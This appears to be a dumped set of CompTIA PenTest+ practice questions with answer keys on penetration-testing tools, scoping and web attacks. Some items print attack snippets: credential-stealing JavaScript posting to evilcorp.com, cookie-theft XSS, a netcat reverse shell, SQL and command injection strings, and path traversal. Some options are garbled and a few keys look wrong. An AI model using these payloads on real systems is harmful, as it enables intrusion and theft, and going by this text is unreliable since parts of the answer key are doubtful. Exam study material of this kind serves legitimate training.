CompTIA

Exam Questions PT0-002

CompTIA PenTest+ Certification Exam

NEW QUESTION 1
A penetration tester was contracted to test a proprietary application for buffer overflow vulnerabilities. Which of the following tools would be BEST suited for this task?

A. GDB
B. Burp Suite
C. SearchSploit
D. Netcat

Answer: A

NEW QUESTION 2
A consultant is reviewing the following output after reports of intermittent connectivity issues:
? (192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
? (192.168.1.12) at 34:a4:be:09:44:f4 on en0 ifscope [ethernet]
? (192.168.1.17) at 92:60:29:12:ac:d2 on en0 ifscope [ethernet]
? (192.168.1.34) at 88:de:a9:12:ce:fb on en0 ifscope [ethernet]
? (192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
? (192.168.1.255) at ff:ff:ff:ff:ff:ff on en0 ifscope [ethernet]
? (224.0.0.251) at 01:02:5e:7f:ff:fa on en0 ifscope permanent [ethernet]
? (239.255.255.250) at ff:ff:ff:ff:ff:ff on en0 ifscope permanent [ethernet] Which of the following is MOST likely to be reported by the consultant?

A. A device on the network has an IP address in the wrong subnet.
B. A multicast session was initiated using the wrong multicast group.
C. An ARP flooding attack is using the broadcast address to perform DDoS.
D. A device on the network has poisoned the ARP cache.

Answer: D

Explanation:
The gateway for the network (192.168.1.1) is at 0a:d1:fa:b1:01:67, and then, another machine (192.168.1.136) also claims to be on the same MAC address. With this on the same network, intermittent connectivity will be inevitable as along as the gateway remains unreachable on the IP known by the others machines on the network, and given that the new machine claiming to be the gateway has not been configured to route traffic.

NEW QUESTION 3
A penetration tester was able to compromise a server and escalate privileges. Which of the following should the tester perform AFTER concluding the activities on the specified target? (Choose two.)

A. Remove the logs from the server.
B. Restore the server backup.
C. Disable the running services.
D. Remove any tools or scripts that were installed.
E. Delete any created credentials.
F. Reboot the target server.

Answer: DE

NEW QUESTION 4
Which of the following would assist a penetration tester the MOST when evaluating the susceptibility of top-level executives to social engineering attacks?

A. Scraping social media for personal details
B. Registering domain names that are similar to the target company's
C. Identifying technical contacts at the company
D. Crawling the company's website for company information

Answer: A

NEW QUESTION 5
Which of the following situations would require a penetration tester to notify the emergency contact for the engagement?

A. The team exploits a critical server within the organization.
B. The team exfiltrates PII or credit card data from the organization.
C. The team loses access to the network remotely.
D. The team discovers another actor on a system on the network.

Answer: D

NEW QUESTION 6
A penetration tester conducts an Nmap scan against a target and receives the following results:

```
Port          State        Service
1080/tcp      open         socks
```

Which of the following should the tester use to redirect the scanning tools using TCP port 1080 on the target?

A. Nessus
B. ProxyChains
C. OWASPZAP
D. Empire

Answer: B

NEW QUESTION 7
During an internal penetration test against a company, a penetration tester was able to navigate to another part of the network and locate a folder containing customer information such as addresses, phone numbers, and credit card numbers. To be PCI compliant, which of the following should the company have implemented to BEST protect this data?

A. Vulnerability scanning
B. Network segmentation
C. System hardening
D. Intrusion detection

Answer: B

NEW QUESTION 8
A penetration tester ran a simple Python-based scanner. The following is a snippet of the code:

```
...
<LINE NUM.>
<01> portlist: list[int] = [*range(1, 1025)]
<02> try;
<03>    port: object
<04>    resultList: list[Any] = []
<05>    for port in portList:
<06>        sock = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
<07>        sock.settimeout(20)
<08>        result = sock.connect_ex((remoteSvr, port))
<09>        if result == 0:
<10>            resultList.append(port)
<11>        sock.close()
...
```

Which of the following BEST describes why this script triggered a `probable port scan` alert in the organization's IDS?

A. sock.settimeout(20) on line 7 caused each next socket to be created every 20 milliseconds.
B. *range(1, 1025) on line 1 populated the portList list in numerical order.
C. Line 6 uses socket.SOCK_STREAM instead of socket.SOCK_DGRAM
D. The remoteSvr variable has neither been type-hinted nor initialized.

Answer: B

Explanation:
Port randomization is widely used in port scanners. By default, Nmap randomizes the scanned port order (except that certain commonly accessible ports are moved near the beginning for efficiency reasons) https://nmap.org/book/man-port-specification.html

NEW QUESTION 9
A penetration tester joins the assessment team in the middle of the assessment. The client has asked the team, both verbally and in the scoping document, not to test the production networks. However, the new tester is not aware of this request and proceeds to perform exploits in the production environment. Which of the following would have MOST effectively prevented this misunderstanding?

A. Prohibiting exploitation in the production environment
B. Requiring all testers to review the scoping document carefully
C. Never assessing the production networks
D. Prohibiting testers from joining the team during the assessment

Answer: B

NEW QUESTION 10
Which of the following documents describes specific activities, deliverables, and schedules for a penetration tester?

A. NDA
B. MSA
C. SOW
D. MOU

Answer: C

NEW QUESTION 10
A penetration tester is explaining the MITRE ATT&CK framework to a company's chief legal counsel. Which of the following would the tester MOST likely describe as a benefit of the framework?

A. Understanding the tactics of a security intrusion can help disrupt them.
B. Scripts that are part of the framework can be imported directly into SIEM tools.

C. The methodology can be used to estimate the cost of an incident better.
D. The framework is static and ensures stability of a security program overtime.

Answer: A

NEW QUESTION 15
A company has hired a penetration tester to deploy and set up a rogue access point on the network. Which of the following is the BEST tool to use to accomplish this goal?

A. Wireshark
B. Aircrack-ng
C. Kismet
D. Wifite

Answer: B

NEW QUESTION 18
A penetration tester who is performing a physical assessment of a company's security practices notices the company does not have any shredders inside the office building. Which of the following techniques would BEST to use to gain confidential information?

A. Badge cloning
B. Dumpster diving
C. Tailgating
D. Shoulder surfing

Answer: B

NEW QUESTION 21
A penetration tester uncovers access keys within an organization's source code management solution. Which of the following would BEST address the issue? (Choose two.)

A. Setting up a secret management solution for all items in the source code management system
B. Implementing role-based access control on the source code management system
C. Configuring multifactor authentication on the source code management system
D. Leveraging a solution to scan for other similar instances in the source code management system
E. Developing a secure software development life cycle process for committing code to the source code management system
F. Creating a trigger that will prevent developers from including passwords in the source code management system

Answer: AE

Explanation:
Access keys are credentials that allow users to authenticate and authorize requests to a source code management (SCM) system, such as GitLab or AWS. Access keys should be kept secret and not exposed in plain text within the source code, as this can compromise the security and integrity of the SCM system and its data. Some possible options for addressing the issue of access keys within an organization's SCM solution are:

⯈ Setting up a secret management solution for all items in the SCM system: This is a tool or service that securely stores, manages, and distributes secrets such as access keys, passwords, tokens, certificates, etc. A secret management solution can help prevent secrets from being exposed in plain text within the source code or configuration files3456.

⯈ Developing a secure software development life cycle (SDLC) process for committing code to the SCM system: This is a framework or methodology that defines how software is developed, tested, deployed, and maintained. A secure SDLC process can help ensure that best practices for security are followed throughout the software development process, such as code reviews, static analysis tools, vulnerability scanning tools, etc. A secure SDLC process can help detect and prevent access keys from being included in the source code before they are committed to the SCM system1.

NEW QUESTION 23
A penetration tester is able to capture the NTLM challenge-response traffic between a client and a server. Which of the following can be done with the pcap to gain access to the server?

A. Perform vertical privilege escalation.
B. Replay the captured traffic to the server to recreate the session.
C. Use John the Ripper to crack the password.
D. Utilize a pass-the-hash attack.

Answer: D

NEW QUESTION 24
A penetration tester completed a vulnerability scan against a web server and identified a single but severe vulnerability.
Which of the following is the BEST way to ensure this is a true positive?

A. Run another scanner to compare.
B. Perform a manual test on the server.
C. Check the results on the scanner.
D. Look for the vulnerability online.

Answer: B

NEW QUESTION 29

A penetration tester is conducting an engagement against an internet-facing web application and planning a phishing campaign. Which of the following is the BEST passive method of obtaining the technical contacts for the website?

A. WHOIS domain lookup
B. Job listing and recruitment ads
C. SSL certificate information
D. Public data breach dumps

Answer: A

Explanation:
The BEST passive method of obtaining the technical contacts for the website would be a WHOIS domain lookup. WHOIS is a protocol that provides information about registered domain names, such as the registration date, registrant's name and contact information, and the name servers assigned to the domain. By performing a WHOIS lookup, the penetration tester can obtain the contact information of the website's technical staff, which can be used to craft a convincing phishing email.

NEW QUESTION 30
A penetration tester writes the following script:

```
#!/bin/bash
network= '10.100.100'
ports= '22 23 80 443'

for x in {1..254};
    do (nc -zv $network.$x $ports );
done
```

Which of the following is the tester performing?

A. Searching for service vulnerabilities
B. Trying to recover a lost bind shell
C. Building a reverse shell listening on specified ports
D. Scanning a network for specific open ports

Answer: D

Explanation:
-z zero-I/O mode [used for scanning]
-v verbose
example output of script: 10.1.1.1 : inverse host lookup failed: Unknown host (UNKNOWN) [10.0.0.1] 22 (ssh) open
(UNKNOWN) [10.0.0.1] 23 (telnet) : Connection timed out https://unix.stackexchange.com/questions/589561/what-is-nc-z-used-for

NEW QUESTION 33
A penetration tester was brute forcing an internal web server and ran a command that produced the following output:

```
$ dirb http://172.16.100.10:3000

-----------------
DURB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Feb 3 13:06:18 2021
URL_BASE: http://172.16.100.10:3000
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://172.16.100.10:3000 ----
+ http://172.16.100.10:3000/ftp (CODE:200|SIZE:11071)
+ http://172.16.100.10:3000/profile (CODE:500|SIZE:1151)
+ http://172.16.100.10:3000/promotion (CODE:200|SIZE:6586)
+ http://172.16.100.10:3000/robots.txt (CODE:200|SIZE:28)
+ http://172.16.100.10:3000 /Video (CODE:200|SIZE:10075518)

-----------------
END_TIME: Wed Feb 3 13:07:53 2021
DOWNLOADED: 4612 - FOUND: 5
```

However, when the penetration tester tried to browse the URL http://172.16.100.10:3000/profile, a blank page was displayed.
Which of the following is the MOST likely reason for the lack of output?

A. The HTTP port is not open on the firewall.
B. The tester did not run sudo before the command.
C. The web server is using HTTPS instead of HTTP.
D. This URI returned a server error.

Answer: A

NEW QUESTION 35

A penetration tester gives the following command to a systems administrator to execute on one of the target servers:
rm -f /var/www/html/G679h32gYu.php
Which of the following BEST explains why the penetration tester wants this command executed?

A. To trick the systems administrator into installing a rootkit
B. To close down a reverse shell
C. To remove a web shell after the penetration test
D. To delete credentials the tester created

Answer: C

NEW QUESTION 39
A penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider's metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?

A. Cross-site request forgery
B. Server-side request forgery
C. Remote file inclusion
D. Local file inclusion

Answer: B

NEW QUESTION 41
A company conducted a simulated phishing attack by sending its employees emails that included a link to a site that mimicked the corporate SSO portal. Eighty percent of the employees who received the email clicked the link and provided their corporate credentials on the fake site. Which of the following recommendations would BEST address this situation?

A. Implement a recurring cybersecurity awareness education program for all users.
B. Implement multifactor authentication on all corporate applications.
C. Restrict employees from web navigation by defining a list of unapproved sites in the corporate proxy.
D. Implement an email security gateway to block spam and malware from email communications.

Answer: A

NEW QUESTION 43
A penetration tester received a 16-bit network block that was scoped for an assessment. During the assessment, the tester realized no hosts were active in the provided block of IPs and reported this to the company. The company then provided an updated block of IPs to the tester. Which of the following would be the most appropriate NEXT step?

A. Terminate the contract.
B. Update the ROE with new signature
C. Most Voted
D. Scan the 8-bit block to map additional missed hosts.
E. Continue the assessment.

Answer: B

NEW QUESTION 47
Which of the following tools would BEST allow a penetration tester to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine?

A. Wireshark
B. EAPHammer
C. Kismet
D. Aircrack-ng

Answer: D

Explanation:
The BEST tool to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine is Aircrack-ng. Aircrack-ng is a suite of tools used to assess the security of wireless networks. It starts by capturing wireless network packets [1], then attempts to crack the network password by analyzing them [1]. Aircrack-ng supports FMS, PTW, and other attack types, and can also be used to generate keystreams for WEP and WPA-PSK encryption. It is capable of running on Windows, Linux, and Mac OS X.
The BEST tool to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine is Aircrack-ng. Aircrack-ng is a suite of tools used to assess the security of wireless networks. It starts by capturing wireless network packets [1], then attempts to crack the network password by analyzing them [1]. Aircrack-ng supports FMS, PTW, and other attack types, and can also be used to generate keystreams for WEP and WPA-PSK encryption. It is capable of running on Windows, Linux, and Mac OS X.

NEW QUESTION 50
A penetration tester examines a web-based shopping catalog and discovers the following URL when viewing a product in the catalog:
http://company.com/catalog.asp?productid=22
The penetration tester alters the URL in the browser to the following and notices a delay when the page refreshes:
http://company.com/catalog.asp?productid=22;WAITFOR
DELAY '00:00:05'
Which of the following should the penetration tester attempt NEXT?

A. http://company.com/catalog.asp?productid=22:EXEC xp_cmdshell 'whoami'
B. http://company.com/catalog.asp?productid=22' OR 1=1 -
C. http://company.com/catalog.asp?productid=22' UNION SELECT 1,2,3 -

D. http://company.com/catalog.asp?productid=22;nc 192.168.1.22 4444 -e /bin/bash

Answer: C

Explanation:
This URL will attempt a SQL injection attack using a UNION operator to combine the results of two queries into one table. The attacker can use this technique to retrieve data from other tables in the database that are not normally accessible through the web application.

NEW QUESTION 52
For a penetration test engagement, a security engineer decides to impersonate the IT help desk. The security engineer sends a phishing email containing an urgent request for users to change their passwords and a link to https://example.com/index.html. The engineer has designed the attack so that once the users enter the credentials, the index.html page takes the credentials and then forwards them to another server that the security engineer is controlling. Given the following information:

```
$.ajax({ url: 'https://evilcorp.com/email-list/finish.php',
    type: 'POST', dataType: 'html',
    data: {Email: emv, password: psv},
    _____
    success: function(msg) {}});
```

Which of the following lines of code should the security engineer add to make the attack successful?

A. window.location.= 'https://evilcorp.com'
B. crossDomain: true
C. geturlparameter ('username')
D. redirectUrl = 'https://example.com'

Answer: B

NEW QUESTION 56
A penetration tester is conducting a penetration test. The tester obtains a root-level shell on a Linux server and discovers the following data in a file named password.txt in the /home/svsacct directory:
U3VQZXIkM2NyZXQhCg==
Which of the following commands should the tester use NEXT to decode the contents of the file?

A. echo U3VQZXIkM2NyZXQhCg== | base64 €"d
B. tar zxvf password.txt
C. hydra €"l svsacct €"p U3VQZXIkM2NyZXQhCg== ssh://192.168.1.0/24
D. john --wordlist /usr/share/seclists/rockyou.txt password.txt

Answer: A

NEW QUESTION 59
A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?

A. Smurf
B. Ping flood
C. Fraggle
D. Ping of death

Answer: C

Explanation:
Fraggle attack is same as a Smurf attack but rather than ICMP, UDP protocol is used. The prevention of these attacks is almost identical to Fraggle attack.
Ref: https://www.okta.com/identity-101/fraggle-attack/

NEW QUESTION 64
During the scoping phase of an assessment, a client requested that any remote code exploits discovered during testing would be reported immediately so the vulnerability could be fixed as soon as possible. The penetration tester did not agree with this request, and after testing began, the tester discovered a vulnerability and gained internal access to the system. Additionally, this scenario led to a loss of confidential credit card data and a hole in the system. At the end of the test, the penetration tester willfully failed to report this information and left the vulnerability in place. A few months later, the client was breached and credit card data was stolen. After being notified about the breach, which of the following steps should the company take NEXT?

A. Deny that the vulnerability existed
B. Investigate the penetration tester.
C. Accept that the client was right.
D. Fire the penetration tester.

Answer: B

NEW QUESTION 66
A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data.
Which of the following should the tester verify FIRST to assess this risk?

A. Whether sensitive client data is publicly accessible
B. Whether the connection between the cloud and the client is secure
C. Whether the client's employees are trained properly to use the platform

D. Whether the cloud applications were developed using a secure SDLC

Answer: A

NEW QUESTION 71
Which of the following tools should a penetration tester use to crawl a website and build a wordlist using the data recovered to crack the password on the website?

A. DirBuster
B. CeWL
C. w3af
D. Patator

Answer: B

Explanation:
CeWL, the Custom Word List Generator, is a Ruby application that allows you to spider a website based on a URL and depth setting and then generate a wordlist from the files and web pages it finds. Running CeWL against a target organization's sites can help generate a custom word list, but you will typically want to add words manually based on your own OSINT gathering efforts.
https://esgeeks.com/como-utilizar-cewl/

NEW QUESTION 72
A security firm is discussing the results of a penetration test with the client. Based on the findings, the client wants to focus the remaining time on a critical network segment. Which of the following BEST describes the action taking place?

A. Maximizing the likelihood of finding vulnerabilities
B. Reprioritizing the goals/objectives
C. Eliminating the potential for false positives
D. Reducing the risk to the client environment

Answer: B

Explanation:
Goal Reprioritization Have the goals of the assessment changed? Has any new information been found that might affect the goal or desired end state? I would also agree with A, because by goal reprioritization you are more likely to find vulnerabilities in this specific segment of critical network, but it is a side effect of goal reprioritization.

NEW QUESTION 74
During a penetration-testing engagement, a consultant performs reconnaissance of a client to identify potential targets for a phishing campaign. Which of the following would allow the consultant to retrieve email addresses for technical and billing contacts quickly, without triggering any of the client's cybersecurity tools? (Choose two.)

A. Scraping social media sites
B. Using the WHOIS lookup tool
C. Crawling the client's website
D. Phishing company employees
E. Utilizing DNS lookup tools
F. Conducting wardriving near the client facility

Answer: AC

Explanation:
Technical and billing addresses are usually posted on company websites and company social media sites for the their clients to access. The WHOIS lookup will only avail info for the company registrant, an abuse email contact, etc but it may not contain details for billing addresses.

NEW QUESTION 78
A penetration tester needs to upload the results of a port scan to a centralized security tool. Which of the following commands would allow the tester to save the results in an interchangeable format?

A. nmap -iL results 192.168.0.10-100
B. nmap 192.168.0.10-100 -O > results
C. nmap -A 192.168.0.10-100 -oX results
D. nmap 192.168.0.10-100 | grep "results"

Answer: C

NEW QUESTION 80
A company requires that all hypervisors have the latest available patches installed. Which of the following would BEST explain the reason why this policy is in place?

A. To provide protection against host OS vulnerabilities
B. To reduce the probability of a VM escape attack
C. To fix any misconfigurations of the hypervisor
D. To enable all features of the hypervisor

Answer: B

Explanation:

A hypervisor is a type of virtualization software that allows multiple virtual machines (VMs) to run on a single physical host machine. If the hypervisor is compromised, an attacker could potentially gain access to all of the VMs running on that host, which could lead to a significant data breach or other security issues.

One common type of attack against hypervisors is known as a VM escape attack. In this type of attack, an attacker exploits a vulnerability in the hypervisor to break out of the VM and gain access to the host machine. From there, the attacker can potentially gain access to other VMs running on the same host.

By ensuring that all hypervisors have the latest available patches installed, the company can reduce the likelihood that a VM escape attack will be successful. Patches often include security updates and vulnerability fixes that address known issues and can help prevent attacks.

NEW QUESTION 81

A penetration tester initiated the transfer of a large data set to verify a proof-of-concept attack as permitted by the ROE. The tester noticed the client's data included PII, which is out of scope, and immediately stopped the transfer. Which of the following MOST likely explains the penetration tester's decision?

A. The tester had the situational awareness to stop the transfer.
B. The tester found evidence of prior compromise within the data set.
C. The tester completed the assigned part of the assessment workflow.
D. The tester reached the end of the assessment time frame.

Answer: A

NEW QUESTION 83

Which of the following web-application security risks are part of the OWASP Top 10 v2017? (Choose two.)

A. Buffer overflows
B. Cross-site scripting
C. Race-condition attacks
D. Zero-day attacks
E. Injection flaws
F. Ransomware attacks

Answer: BE

Explanation:
 A01-Injection
A02-Broken Authentication A03-Sensitive Data Exposure A04-XXE
A05-Broken Access Control A06-Security Misconfiguration A07-XSS
A08-Insecure Deserialization
A09-Using Components with Known Vulnerabilities A10-Insufficient Logging & Monitoring

NEW QUESTION 85

Which of the following expressions in Python increase a variable val by one (Choose two.)

A. val++
B. +val
C. val=(val+1)
D. ++val
E. val=val++
F. val+=1

Answer: CF

Explanation:
https://pythonguides.com/increment-and-decrement-operators-in-python/

NEW QUESTION 88

A company hired a penetration-testing team to review the cyber-physical systems in a manufacturing plant.
The team immediately discovered the supervisory systems and PLCs are both connected to the company intranet. Which of the following assumptions, if made by the penetration-testing team, is MOST likely to be
valid?

A. PLCs will not act upon commands injected over the network.
B. Supervisors and controllers are on a separate virtual network by default.
C. Controllers will not validate the origin of commands.
D. Supervisory systems will detect a malicious injection of code/commands.

Answer: C

NEW QUESTION 89

The following line-numbered Python code snippet is being used in reconnaissance:

```
...
<LINE NUM.>
<01> portList: list[int] = [*range(1, 1025)]
<02> random.shuffle(portList)
<03> try:
<04>     port: int
<05>     resultList: list[int] = []
<06>     for port on portList:
<07>         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
<08>         sock.settimeout(0.01)
<09>         result = sock.connect_ex((remoteSvr, port))
<10>         if result == 0:
<11>             resultList.append(port)
<12>         sock.close()
...
```

Which of the following line numbers from the script MOST likely contributed to the script triggering a "probable port scan" alert in the organization's IDS?

A. Line 01
B. Line 02
C. Line 07
D. Line 08

Answer: D

NEW QUESTION 91

Which of the following protocols or technologies would provide in-transit confidentiality protection for emailing the final security assessment report?

A. S/MIME
B. FTPS
C. DNSSEC
D. AS2

Answer: A

NEW QUESTION 96

A penetration tester discovers during a recent test that an employee in the accounting department has been making changes to a payment system and redirecting money into a personal bank account. The penetration test was immediately stopped. Which of the following would be the BEST recommendation to prevent this type of activity in the future?

A. Enforce mandatory employee vacations
B. Implement multifactor authentication
C. Install video surveillance equipment in the office
D. Encrypt passwords for bank account information

Answer: A

Explanation:
If the employee already works in the accounting department, MFA will not stop their actions because they'll already have access by virtue of their job.

NEW QUESTION 101

A penetration tester was hired to perform a physical security assessment of an organization's office. After monitoring the environment for a few hours, the penetration tester notices that some employees go to lunch in a restaurant nearby and leave their belongings unattended on the table while getting food. Which of the following techniques would MOST likely be used to get legitimate access into the organization's building without raising too many alerts?

A. Tailgating
B. Dumpster diving
C. Shoulder surfing
D. Badge cloning

Answer: D

NEW QUESTION 105

A penetration tester who is performing an engagement notices a specific host is vulnerable to EternalBlue. Which of the following would BEST protect against this vulnerability?

A. Network segmentation
B. Key rotation
C. Encrypted passwords
D. Patch management

Answer: D

Explanation:
Patch management is the process of identifying, downloading, and installing security patches for a system in order to address new vulnerabilities and software exploits. In the case of EternalBlue, the vulnerability was addressed by Microsoft in the form of a security patch. Installing this patch on the vulnerable host will provide protection from the vulnerability. Additionally, organizations should implement a patch management program to regularly check for and install security patches for the systems in their environment.

Network segmentation (A) can limit the impact of a compromise by separating different parts of the network into smaller, more isolated segments. However, it does not address the vulnerability itself.
Key rotation (B) is the process of periodically changing cryptographic keys, which can help protect against attacks that rely on stolen or compromised keys. However, it is not directly related to the EternalBlue vulnerability.
Encrypted passwords (C) can help protect user credentials in case of a data breach or other compromise, but it does not prevent attackers from exploiting the EternalBlue vulnerability.

NEW QUESTION 107
A mail service company has hired a penetration tester to conduct an enumeration of all user accounts on an SMTP server to identify whether previous staff member accounts are still active. Which of the following commands should be used to accomplish the goal?

A. VRFY and EXPN
B. VRFY and TURN
C. EXPN and TURN
D. RCPT TO and VRFY

Answer: A

NEW QUESTION 111
Given the following output: User-agent:*
Disallow: /author/ Disallow: /xmlrpc.php Disallow: /wp-admin Disallow: /page/
During which of the following activities was this output MOST likely obtained?

A. Website scraping
B. Website cloning
C. Domain enumeration
D. URL enumeration

Answer: A

NEW QUESTION 115
A penetration tester is required to perform a vulnerability scan that reduces the likelihood of false positives and increases the true positives of the results. Which of the following would MOST likely accomplish this goal?

A. Using OpenVAS in default mode
B. Using Nessus with credentials
C. Using Nmap as the root user
D. Using OWASP ZAP

Answer: B

Explanation:
Using credentials during a vulnerability scan allows the scanner to gather more detailed information about the target system, including installed software, patch levels, and configuration settings. This helps to reduce the likelihood of false positives and increase the true positives of the results. Nessus is a popular vulnerability scanner that supports credential-based scanning and can be used to accomplish this goal. OpenVAS and Nmap are also popular scanning tools, but using default mode or running as the root user alone may not provide the necessary level of detail for accurate vulnerability identification. OWASP ZAP is a web application scanner and may not be applicable for non-web-based targets.

NEW QUESTION 118
A penetration tester analyzed a web-application log file and discovered an input that was sent to the company's web application. The input contains a string that says "WAITFOR." Which of the following attacks is being attempted?

A. SQL injection
B. HTML injection
C. Remote command injection
D. DLL injection

Answer: A

Explanation:
WAITFOR can be used in a type of SQL injection attack known as time delay SQL injection or blind SQL injection34. This attack works on the basis that true or false queries can be answered by the amount of time a request takes to complete. For example, an attacker can inject a WAITFOR command with a delay argument into an input field of a web application that uses SQL Server as its database. If the query returns true, then the web application will pause for the specified period of time before responding; if the query returns false, then the web application will respond immediately. By observing the response time, the attacker can infer information about the database structure and data1.
Based on this information, one possible answer to your question is A. SQL injection, because it is an attack that exploits a vulnerability in a web application that allows an attacker to execute arbitrary SQL commands on the database server.

NEW QUESTION 120
A penetration tester is exploring a client's website. The tester performs a curl command and obtains the following:
* Connected to 10.2.11.144 (::1) port 80 (#0)
> GET /readmine.html HTTP/1.1
> Host: 10.2.11.144
> User-Agent: curl/7.67.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200

```
< Date: Tue, 02 Feb 2021 21:46:47 GMT
< Server: Apache/2.4.41 (Debian)
< Content-Length: 317
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress &#8250; ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
</head>
```
Which of the following tools would be BEST for the penetration tester to use to explore this site further?

A. Burp Suite
B. DirBuster
C. WPScan
D. OWASP ZAP

Answer: C

NEW QUESTION 122
A security analyst needs to perform an on-path attack on BLE smart devices. Which of the following tools would be BEST suited to accomplish this task?

A. Wireshark
B. Gattacker
C. tcpdump
D. Netcat

Answer: B

Explanation:
The best tool for performing an on-path attack on BLE smart devices is Gattacker. Gattacker is a Bluetooth Low Energy (BLE) pentesting and fuzzing framework specifically designed for on-path attacks. It allows security analysts to perform a variety of tasks, including man-in-the-middle attacks, passive and active scans, fuzzing of BLE services, and more. Gattacker also provides an interactive command-line interface that makes it easy to interact with the target BLE device and execute various commands.

NEW QUESTION 125
The following PowerShell snippet was extracted from a log of an attacker machine:

```
1. $net="192.168.1."
2. $setipaddress ="192.168.2."
3. function Test-Password {
4. if (args[0] -eq 'Dummy12345') {
5.   return 1
6. }
7. else {
8. $cat = 22, 25, 80, 443
9.   return 0
10.   }
11. }
12. $cracked = 0
13. crackedpd = [ 192, 168, 1, 2]
14. $i =0
15. Do {
16.   $test = 'Dummy' + $i
17.   $cracked = Test - Password Test
18. $i++
19. $crackedp = ( 192, 168, 1, 1) + $cat
20. }
21. While($cracked -eq 0)
22. Write-Host " Password found : " $test
23. $setipaddress = [ 192, 168, 1, 4]
```

A penetration tester would like to identify the presence of an array. Which of the following line numbers would define the array?

A. Line 8

B. Line 13
C. Line 19
D. Line 20

Answer: A

Explanation:
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_arrays?view=powe

NEW QUESTION 127
Which of the following is the MOST important information to have on a penetration testing report that is written for the developers?

A. Executive summary
B. Remediation
C. Methodology
D. Metrics and measures

Answer: B

NEW QUESTION 128
A penetration tester wants to perform reconnaissance without being detected. Which of the following activities have a MINIMAL chance of detection? (Choose two.)

A. Open-source research
B. A ping sweep
C. Traffic sniffing
D. Port knocking
E. A vulnerability scan
F. An Nmap scan

Answer: AC

NEW QUESTION 130
A tester who is performing a penetration test on a website receives the following output:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62
Which of the following commands can be used to further attack the website?

A. <script>var adr= '../evil.php?test=' + escape(document.cookie);</script>
B. ../../../../../../../../../../etc/passwd
C. /var/www/html/index.php;whoami
D. 1 UNION SELECT 1, DATABASE(),3-

Answer: D

NEW QUESTION 132
A company uses a cloud provider with shared network bandwidth to host a web application on dedicated servers. The company's contact with the cloud provider prevents any activities that would interfere with the cloud provider's other customers. When engaging with a penetration-testing company to test the application, which of the following should the company avoid?

A. Crawling the web application's URLs looking for vulnerabilities
B. Fingerprinting all the IP addresses of the application's servers
C. Brute forcing the application's passwords
D. Sending many web requests per second to test DDoS protection

Answer: D

NEW QUESTION 133
A penetration tester is testing a new version of a mobile application in a sandbox environment. To intercept and decrypt the traffic between the application and the external API, the tester has created a private root CA and issued a certificate from it. Even though the tester installed the root CA into the trusted stone of the smartphone used for the tests, the application shows an error indicating a certificate mismatch and does not connect to the server. Which of the following is the MOST likely reason for the error?

A. TCP port 443 is not open on the firewall
B. The API server is using SSL instead of TLS
C. The tester is using an outdated version of the application
D. The application has the API certificate pinned.

Answer: D

NEW QUESTION 135
During a penetration test, a tester is able to change values in the URL from example.com/login.php?id=5 to example.com/login.php?id=10 and gain access to a web application. Which of the following vulnerabilities has the penetration tester exploited?

A. Command injection
B. Broken authentication
C. Direct object reference
D. Cross-site scripting

Answer: C

Explanation:
Insecure direct object reference (IDOR) is a vulnerability where the developer of the application does not implement authorization features to verify that someone accessing data on the site is allowed to access that data.

NEW QUESTION 136
A company's Chief Executive Officer has created a secondary home office and is concerned that the WiFi service being used is vulnerable to an attack. A penetration tester is hired to test the security of the WiFi's router.
Which of the following is MOST vulnerable to a brute-force attack?

A. WPS
B. WPA2-EAP
C. WPA-TKIP
D. WPA2-PSK

Answer: A

NEW QUESTION 138
Which of the following should a penetration tester consider FIRST when engaging in a penetration test in a cloud environment?

A. Whether the cloud service provider allows the penetration tester to test the environment
B. Whether the specific cloud services are being used by the application
C. The geographical location where the cloud services are running
D. Whether the country where the cloud service is based has any impeding laws

Answer: A

NEW QUESTION 142
A penetration tester gains access to a system and is able to migrate to a user process:

```
net use S: \\192.168.5.51\C$\temp /persistent no
copy c:\temp\hack.exe S:\temp\hack.exe
wmic.exe /node: "192.168.5.51" process call create "C:\temp\hack.exe"
```

Given the output above, which of the following actions is the penetration tester performing? (Choose two.)

A. Redirecting output from a file to a remote system
B. Building a scheduled task for execution
C. Mapping a share to a remote system
D. Executing a file on the remote system
E. Creating a new process on all domain systems
F. Setting up a reverse shell from a remote system
G. Adding an additional IP address on the compromised system

Answer: CD

Explanation:
WMIC.exe is a built-in Microsoft program that allows command-line access to the Windows Management Instrumentation. Using this tool, administrators can query the operating system for detailed information about installed hardware and Windows settings, run management tasks, and even execute other programs or commands.

NEW QUESTION 147
After running the enum4linux.pl command, a penetration tester received the following output:

```
=======================================
|     Enumerating Workgroup/Domain on 192.168.100.56     |
=======================================
|+| Got domain/workgroup name: WORKGROUP
=======================================
|     Session Check on 192.168.100.56     |
=======================================
|+| Server 192.168.100.56 allows sessions using username '', password ''
=======================================
|     Getting domain SID for 192.168.100.56     |
=======================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=======================================
|     Share Enumeration on 192.168.100.56     |
=======================================
        Sharename  Type  Comment
        ---------  ----  -------
        print$ Disk Printer Drivers
        web Disk File Server
        IPC$ IPC IPC Service (Samba 4.5.12-Debian)
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 192.168.100.56
